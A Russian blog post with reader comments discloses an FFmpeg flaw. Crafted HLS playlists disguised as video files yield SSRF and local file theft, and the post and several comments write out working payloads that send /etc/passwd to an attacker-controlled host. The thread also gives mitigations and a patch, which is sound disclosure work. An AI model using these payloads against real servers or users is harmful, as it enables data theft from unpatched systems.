Компания
1 068,89
рейтинг
12 января в 11:29

Разработка → Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней



Всем привет! Я Максим Андреев, программист бэкенда Облака Mail.Ru. В свободное время я люблю искать баги. В сегодняшнем посте я хочу рассказать об одной довольно интересной уязвимости, которую я нашёл и зарепортил в bug bounty нескольких крупных компаний, за что получил солидное вознаграждение. Уязвимость заключается в следующем: если сформировать специальный видеофайл и загрузить его на сервер, то:

  • можно получить на нём SSRF;
  • можно получить local file read;
  • если пользователь скачает этот файл, то автоматически будет подвержен уязвимостям, даже если его не откроет: можно будет получить доступ к данным на компьютере пользователя и узнать его имя.


Техническое предисловие




Существует огромное количество кодеков, видео- и аудиоформатов, но иногда бывает нужно получить что-то конкретное, пропустив всё это множество через некоторый чёрный ящик. Например, нам может потребоваться на выходе MP4-видео с заданным качеством либо JPEG-превьюшка. Довольно часто этим чёрным ящиком становится FFmpeg. Это open source набор библиотек и бинарных утилит, он активно развивается, поддерживает большое число аудио- и видеокодеков, поэтому его часто применяют для конвертации видео и генерации thumbnails, как в виде отдельного инструмента, так и в виде отдельных библиотек, используемых сторонними приложениями. Большинство крупных компаний запускают FFmpeg командой из скрипта или какого-то бинарника, делают fork-exec. Так сложилось, что проще из бинарника форкнуться и исполнить FFmpeg-бинарник, чем городить всё это с использованием библиотек.

Создание вредоносного файла


В составе FFmpeg есть консольная утилита ffmpeg. Создадим файл test.avi, который действительно является файлом avi, и скопируем его с двумя другими расширениями: .mov и .123. Если попросить ffmpeg сконвертировать любой из этих файлов, то он без проблем всё выполнит, то есть он не обращает внимания на расширение файла. Но здесь есть одно важное исключение, которое мне очень пригодилось в осуществлении одной из описанных в дальнейшем атак, но об этом чуть позже.

Существует такой формат видео, как HLS (HTTP Live Streaming). Он разработан компанией Apple для передачи потокового видео. Этот формат поддерживает такую приятную штуку, как адаптивный стриминг, то есть изменение качества в процессе проигрывания. Но для нас здесь важно то, что формат состоит из так называемого главного плей-листа, в котором перечислено несколько других плей-листов с каким-то заданным качеством, а уже в этих плей-листах перечислены кусочки видео.



Создадим файл test.mp4, который на самом деле является m3u8 плей-листом HLS:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.example.org/1.mp4
#EXT-X-ENDLIST

У него есть заголовок, есть окончание и ссылка, по которой нужно брать кусочек видео. Как мы уже знаем, необязательно присваивать расширение .m3u8, файл может называться test.mp4 или test.mov — ffmpeg всё равно поймёт, что это плей-лист m3u8, и будет интерпретировать его именно как плей-лист. Если прогнать наш test.mp4 через любой из многих миллионов сайтов «конвертировать видео онлайн», то ffmpeg, который используется этим онлайн-конвертером, интерпретирует файл как плей-лист, пройдёт по указанной в нём ссылке и на нашем сервере мы увидим GET-запрос с IP этого онлайн-конвертера:


Запрос от одного из онлайн-конвертеров к нашему серверу

То есть на данный момент у нас уже есть простая SSRF, правда, пока мы не можем читать ответ.

Пойдём дальше. Я упоминал про важное исключение, связанное с расширениями файлов. Предложим ffmpeg сконвертировать текстовый файл file.txt в видеофайл out.mp4. Как вы думаете, что произойдёт в данном случае? В файле out.mp4 будет видео, в котором этот текстовый файл проиграется просто бегущими строками! Получается, мы уже можем красть с этих онлайн-сервисов конвертации любые txt-файлы. Но это нам не очень интересно. Перейдём дальше.

А что, если мы к http url допишем в конце в GET-параметр .txt? Оказывается, ffmpeg подумает, что это текстовый файл и надо интерпретировать ответ как txt. Вот пример запроса к mail.ru:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://www.mail.ru/?.txt
#EXT-X-ENDLIST



HTML-код из ответа проигрывается в полученном видео! То есть в данном случае мы получили возможность с помощью этой SSRF читать ответ на любые сетевые запросы.

Двигаемся дальше. FFmpeg поддерживает огромное количество различных протоколов, в том числе concat. Согласно документации, этот протокол читает бинарный поток данных из нескольких источников, склеивает и в дальнейшем интерпретирует их, как будто они из одного источника.

Давайте разберём на примере. Допустим, у нас есть файл header.m3u8, такой недоделанный плей-лист, в котором написано «example.org?». Сделаем так, чтобы FFmpeg после подачи ему test.avi с помощью протокола concat сформировал хитрый m3u8, содержащий file:///etc/passwd, и отправил это на наш сервер example.org:

файл, размещённый на dx.su/header.m3u8:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://example.org?

test.avi:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST



http://example.org?# $FreeBSD: release/10.0.0/et..

FFmpeg, получив test.avi, возьмёт header.m3u8 и раскроет его как example.org, а из file:///etc/passwd возьмёт первую строчку, сконструирует URL и перейдёт по нему. Таким образом, мы можем получить первую строчку совершенно любого локального файла, которая будет передана по HTTP на наш сервер, если мы контролируем example.org. Существует небольшой трюк, который позволяет нам не только красть первую строчку, но и читать весь файл построчно, — другой протокол с названием subfile. Я не стану здесь это расписывать, но, если вам интересно, посмотрите документацию, там ничего сложного нет.

Рассмотрим другой способ кражи всего файла. Воспользуемся таким же приёмом с concat и возьмём заголовок видеоформата YUV4MPEG2. Это формат без сжатия, с простым текстовым заголовком. Любой поток данных в этом файле интерпретируется как 8 бит на 1 пиксель, то есть 1 байт на 1 пиксель. Возьмём video.mp4, в котором будет сoncat этого header и file:///etc/passwd. Представим, что мы загрузили его на какой-то облачный видеосервис. Скорее всего, вы увидите превьюшку. А для её генерирования, скорее всего, тоже будет как-то использоваться FFmpeg.

Примем ради упрощения, что превьюшка у нас в формате PNG, то есть сжатая без потерь. Попросим ffmpeg сделать thumbnail из якобы MP4-видео video.mp4, которое на самом деле является хитрым плей-листом m3u8:

файл header.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME

файл video.mp4:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.y4m|file:///etc/passwd
#EXT-X-ENDLIST


ffmpeg -i video.mp4 thumbnail.png


thumbnail.png

А теперь полученный thumbnail декодируем обратно:

ffmpeg -i thumbnail.png out.y4m

файл out.y4m:
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
# $FreeBSD: release/10.0.0/etc/master.passwd 256366
,! 2013-10-12 06:08:18Z rpaulo $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/zsh
toor:*:0:0:Bourne-again Superuser:/root:
…

Мы можем увидеть заголовок, который был в header.y4m, а в дальнейшем — полный текст file:///etc/passwd.

Предположим, что мы снова сгенерировали наш вредоносный файл с нужным заголовком, проделали трюк с concat, использовали file:///etc/passwd. Только теперь не загружаем файл на какой-то сервис, а просто отдаём пользователю, чтобы он его скачал и даже не запускал. Если вы пользуетесь, скажем, Kali Linux, то, пока будет генерироваться превьюшка, GStreamer передаст на наш сервер в реферере полный путь этого файла. Так мы можем узнать имя пользователя и какую-нибудь ещё непубличную информацию. А в случае с Ubuntu FFmpeg передаст нам первую строку file:///etc/passwd того пользователя, который просто скачал файл.


Запрос от Kali Linux


Запрос от Ubuntu Linux

В заключение


С помощью такого специально сконструированного видеофайла можно сначала делать просто SSRF-запросы без чтения ответа, читать ответ на любые сетевые запросы, читать локальные файлы, причём несколькими способами. И более того, мы даже можем направить эту атаку против обычных пользователей, которые всего лишь скачали файл, а не против серверов.

Кстати, об этой уязвимости я рассказывал на последнем Security Meetup’е — теперь они регулярно проходят у нас в Mail.Ru Group. Если вы хотите принять участие в одном из следующих и вам есть о чём рассказать, напишите об этом мне, Кариму valievkarim Валиеву или Владимиру z3apa3a Дубровину.

UPD: Как защититься от проблемы при кодировании видео на сервере с помощью ffmpeg:

  1. Запускать ffmpeg в изолированном окружении (в chroot или в контейнере) — обязательно, учитывая, что ffmpeg потенциально содержит много уязвимостей, независимо от описанной в данной статье проблемы (см. googleonlinesecurity.blogspot.ru/2014/01/ffmpeg-and-thousand-fixes.html).
  2. Запускать ffmpeg внутри этого окружения из-под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
  3. Отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно.

Разработчики ffmpeg/libav уведомлены о проблеме, я сделал и отправил им патч.
Автор: @cdump

Комментарии (66)

  • +25
    Очень интересные трюки. Респект.
  • +5
    А как лучше всего защищаться от подобного? Как защитились крупные компании?
    • +1
      Вестимо, собрать собственный ffmpeg с включением только того, чего нужно, но подождем ответа автора, самому интересно:)
    • 0
      Из текста следует, что проще всего отправлять плейлисты m4u на фильтрацию в /dev/null. Ясно же, что от пользователя ожидается нормальный видеофайл, а не ссылка на него. Если это не выход по каким-то причинам, то придется ограничивать поддержку обращений к внешним файлам / URL'ам в перекодировщике хотя бы путем выпиливания из кода или хитрым конфигом (навскидку в ffmpeg(1) не нашел ничего похожего)
      • 0
        Конвертация в контейнерах (с ограничением сети) тоже подойдет я думаю.
    • +11
      Вот что я могу посоветовать:
      — запускать ffmpeg в изолированном окружении — всегда хорошо и может помочь и при нахождении уязвимостей в самом ffmpeg
      — ffmpeg внутри этого окружения из под отдельного пользователя с доступом на запись/чтение только туда, куда нужно.
      — отключить (--disable-network в configure) или ограничить (в iptables можно делать правила по uid'у пользователя) доступ к сети ffmpeg'у, если полное отключение невозможно

      в случае описанной аттаки даже любое одно из этих простых правил усложнило бы эксплуатацию уязвимости, а вместе они бы позволили защититься от нее.

      Небольшое обсуждение по теме было в комментариях к другому посту, там я объяснял, почему мне не нравится идея с построением белого/черного списка форматов/кодеков.

    • +3
      Сделайте препроцессинг. Можно натравить команду file на пользовательский файл и посмотреть ответ, можно выделить расширение и по нему просто форсировать формат:
      ext=`echo "$in" | awk -F. '{print $NF}'`
      case "$ext" in
        mp4)
          format=mp4
          ;;
        *)
          echo "unknown format" >&2 
          exit 1
          ;;
      esac
      
      ffmpeg -f "$format" "$in" ....
      
      указание формата имеет больший вес, чем автодетект по содержимому.

      Ну да, всякие chroot и прочие песочницы, перечисленные выше тоже мастхев. Ровно как и сборка FFmpeg под себя.

      Пользовательский файл — ничем не отличается от любого другого пользовательского ввода. Всегда нужно защищаться и предохраняться. Действовать по приципу: запрещено всё, что не разрешено.
      • +1
        Кстати, можно запретить concat протокол при сборке:
        -disable-protocol=concat

        Кому нужно, склеить можно и через фильтры.
    • 0
      AppArmor?
  • +40
    Эта статья, глоток свежего воздуха. Спасибо.
  • 0
    Очень круто исследование!

    На относительно новых ffmpeg 2.8.1 и 2.5.1 повторить не удалось, видимо, механизм concat переработан.
    Вот вывод netcat (для 2.8.1):
    GET ? HTTP/1.1
    User-Agent: Lavf/56.40.101
    Accept: ​*/*​
    Connection: close
    Host: 127.0.0.1:5002
    Icy-MetaData: 1
    
    


    Обратите внимание на пустой query string и версию libavformat 56.40.101 (автор использует 54.20.4). Насколько я понимаю, это ffmpeg версии 1.2.x?
    • +5
      Я сталкивался с таким, это из-за того, что в header.m3u8 в самом конце после «example.org?» есть \r и/или \n который вставил редактор, нужно их обязательно удалить, чтобы последний байт был "?".
      Проверить можно через $ hexdump -C header.m3u8 — это 0x0a / 0x0d

      В ffmpeg 2.8.x пару месяцев назад все воспроизводилось.
      • 0
        Действительно, без \n баг повторяется на последней версии ffmpeg.
        • +8
          Но я бы не навзывал это багом ffmpeg, ведь concat работает точно так, как и описанно в его документации :)
          • +2
            Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)

            Как один из вариантов решения проблемы — отказаться от использования hls demuxer при сборке:
            --disable-demuxer='hls,applehttp'

            Если нет возможность отключить сетевое взаимодействие.
          • 0
            К слову сказать, я не совсем понял, где такое поведение описано в документации: www.ffmpeg.org/ffmpeg-protocols.html#concat?
            • +1
              Read and seek from many resources in sequence as if they were a unique resource.

              я это понимаю как
              concat:first://arg1|second://arg2 => ./result `./first arg1``./second arg2`
              • –1
                Но тогда, из ихнего же примера, получится так:
                ffplay concat:split1.mpeg\|split2.mpeg\|split3.mpeg => ffplay split1.mpegsplit2.mpegsplit3.mpeg
                Что-то тут не то. Косвенно это подтверждает документация на фильтр concat: www.ffmpeg.org/ffmpeg-filters.html#concat а так же код демуксера:
                static int concat_read_packet(AVFormatContext *avf, AVPacket *pkt)
                {
                    ....
                    while (1) {
                        ret = av_read_frame(cat->avf, pkt);
                        if (ret == AVERROR_EOF || packet_after_outpoint(cat, pkt)) {
                            ....
                            if ((ret = open_next_file(avf)) < 0)    // <========= открываем следующий файл, а не собираем воедино
                                return ret;
                            continue;
                        }
                        ...
                    }
                    if ((ret = filter_packet(avf, cs, pkt)))
                        return ret;
                
                    ...
                    return ret;
                }
                

                В протокольной реализации — аналогично: последовательно идём по списке URL.

                • 0
                  Ох, извиняюсь! Вы правы, он как бы их склеивает. Читаются они последовательно. Более детально код посмотрел. Но всё равно, больше одной стороки из второго файла прочитать не получится, точнее прочитается, но запросом на другой сервер отправить получится только одну: дальше будет читаться второй файл, а в нём уже нужных URL и нет. Сохранение же в выходной файл продолжает работать, но эта проблема лечится фильтрацией по входу и форсированным указанием формата, плюс отключением concat протокола (его полезность вообще сомнительна, кроме как для header-less входных данных).
                  • +1
                    В плейлисте может быть плейлист, и если в ответ на полученную первую строчку прислать в ответ еще один плейлист, где будет запрос с нужным offset'ом (subfile) второй строчки, а дальше повторять так, пока не прочитаем весь файл построчно, то все должно получиться.
                    • 0
                      Собрал header.m3u8:
                      #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?

                      и remote.m3u8:
                      #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?

                      Всё зависло: pastebin.com/bt4MySQy а вот опции offset у file: нет. Есть только truncate и blocksize.
                    • 0
                      Друго фариант

                      test.mkv — инъекция
                      #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

                      header.m3u8:
                      #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:, http://localhost/remote.m3u8?

                      и remote.m3u8
                      #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, concat:http://localhost/header.m3u8|file:///etc/passwd #EXT-X-ENDLIST

                      Запросы идут такого плана: pastebin.com/tTq7K6K3

                      т.е. в ответ на remote.m3u8 и приходит playlist, но обрабатывается уже как-то по другому.
                    • 0
                      Попробовал ещё по другому, модифицировал test.mkv так:
                      #EXTM3U
                      #EXT-X-MEDIA-SEQUENCE:0
                      #EXTINF:10.0,
                      concat:http://localhost/header.m3u8|subfile,,start,0,end,64,,:///etc/passwd
                      concat:http://localhost/header.m3u8|subfile,,start,64,end,128,,:///etc/passwd
                      concat:http://localhost/header.m3u8|subfile,,start,128,end,256,,:///etc/passwd
                      concat:http://localhost/header.m3u8|subfile,,start,256,end,512,,:///etc/passwd
                      #EXT-X-ENDLIST
                      

                      тоже безуспешно.
                    • 0
                      Получилось вот так: www.linux.org.ru/news/security/12265930?cid=12269879

                      Для полноты картины, небольшой смарт-тест на предмет опасности тамбнейлов: www.linux.org.ru/news/security/12265930?cid=12269783

                      А вообще, не хорошо публиковать подобные проблемы до фикса. Не этично как-то.
                      • +1
                        А как вы собираетесь донести эту проблему до всех пользователей и держателей сервиса по всему миру??
                        Вот именно что об этом надо кричать на весь мир, а не публиковать в секретных материалах.
                        • +1
                          (в сердцах: да что же это такое...)

                          Объясняю: находишь проблему, сразу пишешь не на форум/хабр/ещё куда, а в список рассылки проблемного продукта. Именно так, не иначе.

                          Дальнейшие действия могут иметь вариативный характер:
                          1. Чуть подождать (допустим — сутки), но получить подтверждение проблемы в рассылке и совет как обезопасить. В данном случая: выключить concat и/или hls или форсировать формат (что валидно для случая сервисов). Это могут сделать как маинтейнеры пакетов, так и конечный пользователь и это уже позволит избежать проблем.
                          2. Опубликовать в открытом доступе, если реакции нет никакой.

                          И вот тут только доносите проблему до пользователей по всему миру любым желаемым способом. Причём, скорее всего, с советом — что можно сделать. А не рекомендацией закрыть свой сервис или не скачивать видео из интернета вообще.

                          Заметьте, в таком сценарии от момента обнаружения проблемы, до момента публикации миру проходит не более суток. В случае описанной проблемы:
                          1. Прошло почти 2 месяца (как сказал автор, уязвимость упоминалась на habrahabr.ru/company/mailru/blog/270077, который проходил 22 октября 2015 года).
                          2. Разработчики были одними из последних, кому сообщили о проблеме (после вопросов в комментариях).
                          Вы считаете такой подход правильным? Я — нет.
    • –1
      Версию 54.20.4 ещё libav отдаёт. В LTS 14.04 убунты это Libav 9.18. Чисто к сведению.
  • –1
    Попробуйте во Flash Player это запустить :D
  • 0
    а просто отключить обработку плей-листов?
    • +1
      А как их просто отключить?
      • 0
        форсировать формат:
        ffmpeg -f matroska -i in.mkv…
  • 0
    Супер-клево! Я только не понял, почему вы должны были умереть через 7 дней.
  • +5
    Похоже, помимо самого ffmpeg страдают и все производные либы\плееры: я на smplayer локально воспроизвел.
    Теперь как-то стремно запускать любые виды файлов на любых девайсах…
    Фаервол и песочницы наше все
    • +2
      Кстати, автору хоть и респект, но вот я предвкушаю сейчас волну видео на торрентах и прочих файлопомойках с «изюминкой». В самом страшном сне — внедрение фрэйма в видео непосредственно при закачке с сервера.
      И вот защиты кроме песочницы до фикса со стороны маинтейнеров ffmpeg и всех производных я пока не придумал.
      А потом еще всех обновится заставить нужно… А еще же есть куча юзеров, не подпадающих под описание «сознательный юниксоид». А еще разные недоприложения на разные платформы…
      O, SHI~
    • 0
      Да. Например, если попытаться определить формат файла утилитой ffprobe, то сработает эта же уязвимость.
      • +1
        Самое страшное, что срабатывает даже фоновая индексация, к примеру, kde baloo.
        Мне кажется, стоило бы на этом особо акцентировать внимание, заодно написать, засланы ли баги непосредственно маинтейнерам софта или пора надевать шапочки из фольги и отключать интернет
        • +2
          До публикации этой статьи я считал, что проблемы в ffmpeg нету и фиксить в нем нечего, но whisk в обсуждении поста написал
          Да, пожалуй, concat работает верно — неверно работает HLS demuxer (URL, начинающийся с concat, явно не соотвествует спекам HLS)

          и я с ним согласен
          Постараюсь на выходных (а может и раньше) сделать патч / хотя бы отписать разработчикам ffmpeg с указанием хорошего, по моему мнению, решения для фикса.
          • +1
            Но от SSRF это не спасет, в том числе и от «юзерского» — дернуть что-то на 127.0.0.1:1234/… или в локальной сети.
          • 0
            Я вчера открыл баг в ubuntu, но он пока закрыт для публики, так как security issue.
            Вам в любом случае спасибо, но лучше все же о таких вещай сначала писать непосредственно разрабам, а потом уже широкой общественности =)
          • +2
            UPD: патч/репорт в ffmpeg/libav отправлены
            • 0
              Можно ссылку на репорт? Или в мыл-лист кинуто?
              • 0
                На security@, поэтому ссылки нет
                • 0
                  А патч можно? Что бы, к примеру, у себя в PPA добавить в сборку, пока в официальных версиях нет.
                  • +1
                    Я предложил такой вариант, но его желательно проверить тому, кто нормально знаком с кодом ffmpeg.
                    diff --git a/libavformat/hls.c b/libavformat/hls.c
                    index cd64501..8893f24 100644
                    --- a/libavformat/hls.c
                    +++ b/libavformat/hls.c
                    @@ -610,6 +610,10 @@ static int open_url(HLSContext *c, URLContext **uc, const char *url, AVDictionar
                     {
                         AVDictionary *tmp = NULL;
                         int ret;
                    +	const char *proto_name = avio_find_protocol_name(url);
                    +	// only http(s) & file are allowed
                    +	if (!av_strstart(proto_name, "http", NULL) && !av_strstart(proto_name, "file", NULL))
                    +		return AVERROR_INVALIDDATA;
                     
                         av_dict_copy(&tmp, c->avio_opts, 0);
                         av_dict_copy(&tmp, opts, 0);
                    
                    • 0
                      В Ubuntu, похоже, послали, мол не наша проблема:
                      Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package.

                      Ждем патча от ffmpeg team
                    • 0
                      А почему белый список протоколов? Спека же не запрещает использовать другие, если я правильно понял. Например, бывает удобно играть медиа-файлы через FTP.
                      • –1
                        Ну, как быстрый — вполне себе. Редко когда HLS используется в связке с FTP или другими протоколами. С другой стороны, согласен, что стоило бы исключить только «внутренние» протоколы, которые может понять только FFmpeg. Но, что бы не говнякать, нужно как-то научиться отличать внутренние от не внутренних. Возможно, какой-то флаг добавится к AVFMT_xxx
    • 0
      А чем локально оно может навредить?
      • +7
        Украсть ~/.ssh/id_rsa например
  • 0
    Не могу заставить работать конкат на windows, Invalid data found when processing input хоть ты убейся.

    mp4 выглядит так:

    #EXTM3U
    #EXT-X-MEDIA-SEQUENCE:0
    #EXTINF:10.0,
    concat:http://mysite.local/header.y4m|file://d:/Web.config
    #EXT-X-ENDLIST
    
    • 0
      Пардон, заработало вот так
      |Web.config
      

      , правда не весь файл а только часть. Но все равно очень круто
      • +1
        Первая строчка?
        Для всего файла нужно поступить чуть хитрее, полного описания этого способа я в статье не выложил, но сам проверял — все работает. Если интересно — смотреть нужно на протокол subfile
        • 0
          нет, не первая, там прилично строчек. Думаю там столько, сколько влезло в картинку 30х30
          • +1
            А, я думал речь про concat с урлом.
            В любом случае, картинка — это красиво, но subfile — это полный файл без искажений
            • 0
              Да мне просто поиграться ) в общем, картинка работает пока файл больше, чем её размер. Если слишком большой размер картинки сделать, то ффмпег ничего не говорит
    • 0
      Обычно в схеме file косых черточек идет три — file:///, а не две.
  • 0
    Кстати, только сейчас в голову пришло: я не вижу ссылки на баг-репорт. Он есть? Или патч с исправлением проблемы отослан разработчикам FFmpeg?
  • 0
    FFmpeg «фиксить не надо», это не решение проблемы, т.к. таких хитропопостей может быть еще вагон.
    Нужно что-то вроде: habrahabr.ru/post/113143
    (извините, что ссылаюсь на свой бред =) )
  • 0
    Присвоены две CVE:
    CVE-2016-1897
    CVE-2016-1898

    Ждем патчей в своих дистрах ;)
  • 0
    На Ubuntu 15.10 уже вышел фикс.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разработка